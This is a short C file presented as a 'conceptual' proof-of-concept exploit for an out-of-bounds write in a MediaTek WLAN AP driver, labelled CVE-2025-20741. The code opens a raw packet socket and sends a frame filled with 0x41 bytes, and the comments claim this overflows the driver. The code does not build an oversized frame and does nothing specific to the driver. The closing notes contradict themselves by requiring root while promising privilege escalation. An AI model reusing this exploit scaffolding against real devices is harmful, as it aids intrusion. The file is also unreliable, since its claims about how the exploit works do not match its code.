CVE-2025-20741

/* * CVE-2025-20741 PoC Concept - MediaTek WLAN AP Driver OOB Write * Note: This is a conceptual PoC for educational/research purposes only. * Actual exploitation requires specific device and driver version. * Author: Security Researcher * Reference: MSV-3958, Patch ID: WCNCR00434422 */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/types.h> #include <sys/socket.h> #include <netpacket/packet.h> #include <net/ethernet.h> // Simulated WLAN frame structure struct wlan_frame { unsigned char dest_mac[6]; unsigned char src_mac[6]; unsigned short frame_type; unsigned char payload[256]; }; /* * Vulnerability trigger mechanism: * The vulnerability exists in MediaTek WLAN AP driver boundary check logic. * When processing malformed WLAN frames with oversized payload, * incorrect bounds checking allows OOB write to adjacent memory. */ int trigger_vulnerability(int sock_fd) { struct wlan_frame *frame; int frame_size; // Allocate frame buffer frame = (struct wlan_frame *)malloc(sizeof(struct wlan_frame)); if (!frame) return -1; // Craft malicious frame - payload exceeds driver bounds check memset(frame, 0x41, sizeof(struct wlan_frame)); frame->frame_type = 0x0008; // Data frame type // The driver performs incorrect bounds check, allowing overflow // This triggers out-of-bounds write in kernel context frame_size = send(sock_fd, frame, sizeof(struct wlan_frame), 0); free(frame); return frame_size; } int main(int argc, char *argv[]) { int sock; printf("CVE-2025-20741 PoC - MediaTek WLAN AP Driver OOB Write\n"); printf("Requires: System privilege (PR:H)\n"); printf("Target: MediaTek WLAN AP Driver\n"); // Create raw socket for WLAN frame injection sock = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); if (sock < 0) { perror("Socket creation failed"); return 1; } printf("Triggering vulnerability...\n"); trigger_vulnerability(sock); close(sock); return 0; } /* * Exploitation notes: * 1. This PoC is conceptual and requires adaptation for specific targets * 2. Requires elevated privileges (System/root) * 3. Target must be running vulnerable MediaTek WLAN driver version * 4. Successful exploitation leads to local privilege escalation * 5. Mitigation: Apply MediaTek patch WCNCR00434422 */

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